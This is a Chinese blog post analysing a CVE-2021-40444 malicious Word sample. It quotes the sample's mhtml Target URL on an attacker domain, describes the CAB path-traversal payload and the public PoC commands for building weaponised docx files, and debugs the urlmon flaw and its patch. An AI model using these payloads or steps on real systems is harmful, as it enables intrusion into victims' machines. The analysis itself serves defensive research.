前言:

随着cve-2021-40444的披露,随机引爆了全球的网络安全,虽然最近微软发布了补丁,但是cve-2021-40444的利用却越发猖狂。

0x00 0day样本分析

拿到样本的第一时间,便在自己的沙箱环境下面运行了下,并且从网上下载的docx,微软默认会开启保护模式,我这里是本地打开的,基本内容如下,全都是文字内容,基本上没发现什么:

但是在rels的document.xml文件中发现了链接
Target=”mhtml:http://hidusi.com/e273caf2ca371919/mountain.html!x-usc:http://hidusi.com/e273caf2ca371919/mountain.html

【一>所有资源获取<一】
1、200多本网络安全系列电子书(该有的都有了)
2、全套工具包(最全中文版,想用哪个用哪个)
3、100份src源码技术文档(项目学习不停,实践得真知)
4、网络安全基础入门、Linux、web安全、攻防方面的视频(2021最新版)
5、网络安全学习路线(告别不入流的学习)
6、ctf夺旗赛解析(题目解析实战操作)

可以发现其是指向文件的更新链接

从样本库众获取到mountain.html后,我们打开一看,发现全部都混淆了,基本难辨真假,去混淆也比较简单

因为是js代码,随便找个网上去混淆的试试,比如http://jsnice.org/,将混淆的代码粘贴上去后,一键试下

基本代码的轮廓就有了,它所有的字符串都会采用数组var a0_0x127f经过function a0_0x15ec进行拼接与置换

这就很简单了,我通过普通脚本再一次去混淆:

经过简单的静态分析与调试,基本上就是它会去请求服务器获取一个cab文件,并且会通过cpl指令去执行一个inf

然后通过样本库获取到这个cab,初步分析这个cab,发现了其解压路径是../championship.inf,并且标志cafile的大小是0x415c00,cab文件格式[1]对应如下

最后将恶意的url改成我们自己搭建的http server,之后成功复现样本攻击环境,并且捕捉到了样本通过rundll32执行了命令

0x01 cve-2021-40444漏洞的分析与利用

cve-2021-40444的poc很快公开在了github[2]上,poc的使用很简单,通过sudo python3 exploit.py host 80开启简单的http server服务器,python3 exploit.py generate test/calc.dll ip生成包含有漏洞的docx:

假如我们现在有一个正常的docx,可以通过以下添加稍加修改,就成了可以包含cve-2021-40444漏洞的docx了

0x02 cve-2021-40444的补丁对比

通过ProcessMonitor监控我们可以获得其创建和读取cab文件的行为,其调用堆栈如下:

9月14号,微软发布了cve-2021-40444的补丁,经过补丁分析发现,urlmon.dll模块的catDirAndFile对路径验证做了修改,将’/‘替换成了’\‘,防止路径遍历:

0x03漏洞调试

调试之前,我们首先了解下微软对cab文件的api

这些api包括了对cab文件的解析和读写操作等,urlmon模块通过调用cabinet模块中的这些api来处理cab文件的

首先docx触发get请求后会通过mshtml模块来处理,并且对cab文件的处理将会进入urlmon,之后在urlmon!GetSupportedInstallScopesFromFile这个api开始处理cab文件:

获取到C:\Users\l\AppData\Local\Microsoft\Windows\INetCache\IE\9FFFIV4G\word[1].cab先通过GetExtnAndBaseFileName去判断文件后缀名是不是cab:

然后通过CreateUniqueCabTempDir创建临时文件夹,比如我这里是C:\Users\l\AppData\Local\Temp\Cab369A,进入api ExtractInfFile后,将会继续调用Extract,在Extract将会第一次调用到FDICreate[3]和FDICopy[4],来获取cab的信息

FDICreate主要是对其他读写api等进行初始化操作:

而FDICopy主要就是提取cab文件的信息了

进入CABINET!FDICopy后将会调用LoginCabinet来提取cab的0x24大小的head信息,比如包括对头部MSCF标志的判断:

之后将会进入CABINET!LoginCabinet、CABINET!FDICallEnumerate分别对应信息FNFDINOTIFY的fdintCABINET_INFO、fdintENUMERATE,再一次进入urlmon!fdiNotifyExtract后获取CFFILE file的信息,而对应的标志是0x02:

获取到初始化结构体后将会在urlmon!ExtractInfFile调用urlmon!ExtractOneFile

而在urlmon!ExtractOneFile中将会给(a4+0x202)赋值结构体lpsz,将会确保在调用urlmon!NeedFile成功返回:

之后将会继续以标志fdintCOPY_FILE(0x02)继续调用urlmon!fdiNotifyExtract,继续调用urlmon!catDirAndFile继续路径字符串格式化,而我们传入的inf路径是C:\Users\l\AppData\Local\Temp\Cab45F3../msword.inf

最后退出urlmon!catDirAndFile将会在urlmon!fdiNotifyExtract中调用Win32Open:

而在Win32Open中将会调用CreateFileA,以路径C:\Users\l\AppData\Local\Temp\Cab45F3../msword.inf创建文件msword.inf,因为路径存在目录遍历问题,所有将会在C:\Users\l\AppData\Local\Temp\msword.inf创建文件:

成功创建msword.inf文件后将会继续成功调用CABINET!FDIGetFile,在CABINET!FDIGetFile中将会以第一个CFDATA data大小数据写入到文件中,之后caFile(实际为解压文件大小)将会减去写入的CFDATA data大小,接着进行比较直到将所有的caFile大小写入,而这里我们的caFile大小是0x415c0000,远远大于实际的CFDATA的总大小,所以将会在调用最后一次CABINET!FDIGetDataBlock获取块的时候失败并退出:

虽然退出了,但不影响实际写入文件的数据,并且因为这个失败将不会在urlmon!DeleteExtractedFiles调用DeleteFileA,因为v2[2]的标志未清0,所以不会删除临时文件,从而我们创建的msword.inf得以保存,并且在后续中可以直接以cpl命令运行C:\Users\l\AppData\Local\Temp\msword.inf

而正常的提取cab文件将会以标志fdintCLOSE_FILE_INFO(0x03)进入,调用urlmon!MarkExtracted,将标志清0:

至此,从获取到cab文件到提取解析,并且触发目录遍历漏洞过程分析完毕。

有大佬公布以最简洁的方式触发了[5]这个漏洞,并且可以在ie中复现成功。

0x04 漏洞防范

对网上来路不明的docx,请不要随意点击,更新最新的微软补丁

漏洞深入分析-2021相关推荐

  1. PHP远程DoS漏洞深入分析及防护方案

    5月14日,国内爆出php远程DoS漏洞,官方编号69364.利用该漏洞构造poc发起链接,很容易导致目标主机cpu的占用率100%,涉及PHP多个版本.绿盟科技威胁响应中心随即启动应急机制, 应急响 ...

  2. 【技术推荐】WebLogic 反序列化漏洞深入分析

    前言 Oracle 官方 2021 年 10 月份发布的安全更新通告中披露了 WebLogic 组件存在高危漏洞,攻击者可以在未授权的情况下通过 IIOP.T3 协议对存在漏洞的 WebLogic S ...

  3. 超8成项目存在高危开源漏洞 《2021中国软件供应链安全分析报告》发布

     聚焦源代码安全,网罗国内外最新资讯! 专栏·供应链安全 数字化时代,软件无处不在.软件如同社会中的"虚拟人",已经成为支撑社会正常运转的最基本元素之一,软件的安全性问题也正在成为 ...

  4. 限制会话id服务端不共享_【干货分享】Web安全漏洞深入分析及其安全编码

    阅读: 13,003 超全Web漏洞详解及其对应的安全编码规则,包括:SQL注入.XSS.CSRF.文件上传.路径遍历.越权.XML以及业务安全等,实例告诉你各个漏洞对应的编码规则.给你的代码加把安全 ...

  5. ERC223及ERC827实现代码欠缺安全考虑 —— ATN Token中的CUSTOM_CALL漏洞深入分析

    本文部分内容基于安比(SECBIT)实验室团队与吴玉会(轻信科技)的讨论 本文结论: ERC223, ERC827的部分实现代码引入了任意函数调用缺陷,可能会对使用这部分代码的合约带来安全漏洞.如果需 ...

  6. CVE-2022-21882 Win32k内核提权漏洞深入分析

    CVE-2022-21882漏洞是Windows系统的一个本地提权漏洞,微软在2022年1月份安全更新中修补此漏洞.本文章对漏洞成因及利用程序进行了详细的分析. 漏洞介绍 CVE-2022-21882 ...

  7. 网络安全【漏洞安全】反序列化漏洞深入分析

    前言 本文将介绍下如何 diff WebLogic 的补丁,以及在跟踪补丁的过程中对可能存在的一种绕过黑名单的反序列化手法的介绍. T3 和 IIOP 以下漏洞均基于 T3 和 IIOP 作为入口触发 ...

  8. 2021 HW 漏洞清单汇总 ( 附 poc )

    2021 HW 漏洞清单汇总 2021.4.8--4.22 披露时间         涉及商家/产品        漏洞描述 2021/04/08        启明星辰天清汉马USG防火墙存在逻辑缺 ...

  9. Apache Tomcat 拒绝服务漏洞通告

    作者 | 360CERT 来源 | https://www.oschina.net/news/164556 报告编号:B6-2021-101501 报告来源:360CERT 报告作者:360CERT ...

最新文章

  1. 日志规范多重要,这篇文章告诉你!
  2. Delphi XE 使用 MySQL 数据库一个奇怪的问题
  3. termux怎么安装python库_Python termux-apt-repo包_程序模块 - PyPI - Python中文网
  4. 计时器Chronometer和时钟(AnalogClock和DigitalClock)
  5. 最近读的那些性能测试书
  6. license文件生成原理
  7. 【渝粤题库】广东开放大学 文化产业经济学 形成性考核
  8. 使用vue的sync修饰符进行子父组件的数据绑定
  9. LeetCode112. 路径总和(DFS)(递归)
  10. 《葵花宝典:WPF自学手册》三大网点书评集萃
  11. 微信小程序开发入门与实践
  12. python 报错处理
  13. 从营收提升到品牌资产增长,私域时代的购物节跃迁
  14. Educoder 机器学习 决策树使用之使用决策树预测隐形眼镜类型
  15. 7 个支持敏捷的开源项目管理工具,更好地管理项目
  16. 鸡兔同笼python程序怎么写_鸡肉的做法大全_怎么做好吃_家常做法_下厨房
  17. pack://application:,,,/
  18. 草根网站的不完全的建设规划
  19. Html5新特性与不支持的旧属性
  20. java计算器程序代码,图形化界面

热门文章

  1. MPEG4 笔记(FTYP,MOOV,MVHD)
  2. 《2019全国互联网行业程序员就业报告》出炉,程序员平均月薪为1.8W
  3. 预测敏捷必需的各种机械权限和认知分层的死亡
  4. 最新研究报告: 坐飞机哪个位置最安全?
  5. 用Python代码来下载任意指定网易云歌曲(超详细版)
  6. 【企业研究】身出名门的金融数据公司Refinitiv-路孚特
  7. 高并发之数十万甚至百万级qps吞吐量方案
  8. 嵌入式Linux学习经典书籍-学完你就是高手
  9. 【天光学术】舞蹈论文:生本理念下多媒体技术在舞蹈教学中的运用(节选)
  10. Redis的配置及与memcached区别